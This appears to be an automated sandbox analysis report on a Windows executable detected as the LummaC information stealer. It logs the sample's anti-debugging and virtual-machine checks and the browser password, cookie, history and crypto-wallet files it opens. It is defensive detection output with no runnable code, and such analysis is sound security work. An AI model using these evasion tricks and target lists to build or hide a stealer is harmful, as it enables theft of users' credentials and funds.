Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655B263 second address: 655B269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655B563 second address: 655B56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655B56A second address: 655B5AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CC4BDF6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F9C2CC4BDF9h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F9C2CC4BDE6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655B885 second address: 655B88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F53D second address: 654F541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655C304 second address: 655C317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F9C2CD78D6Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655CA16 second address: 655CA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655CD3C second address: 655CD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D72h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655E883 second address: 655E899 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655E899 second address: 655E8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655E8A2 second address: 655E8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9C2CC4BDF6h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65657FE second address: 656583D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 js 00007F9C2CD78D70h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F9C2CD78D6Eh 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9C2CD78D70h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6564936 second address: 656493C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656493C second address: 656494A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6565AF9 second address: 6565AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656AD0E second address: 656AD13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65231B5 second address: 65231BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65231BF second address: 65231D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9C2CD78D74h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656A12F second address: 656A13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9C2CC4BDE8h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656A13F second address: 656A143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BB8C12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D55550 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D53C7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DE4AAC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63BDBC5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63BDCB5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 656C466 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_06552752 rdtsc

1_2_06552752

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0654CF49 sidt fword ptr [esp-02h]

1_2_0654CF49

Source: C:\Users\user\Desktop\file.exe TID: 7584	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7588	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7608	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7768	Thread sleep time: -240000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000002.1663704351.0000000000D33000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000001.00000002.1664513538.000000000158E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1664513538.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000001.00000003.1375371089.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000001.00000003.1659719719.0000000001664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000002.1663704351.0000000000D33000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000001.00000003.1375371089.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_06552752 rdtsc

1_2_06552752

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000001.00000002.1663704351.0000000000D33000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &Program Manager
Source: file.exe, file.exe, 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: tProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\walletsx
Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: file.exe, 00000001.00000003.1368272985.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.walletY
Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000001.00000003.1368368145.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum*
Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000001.00000003.1368368145.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
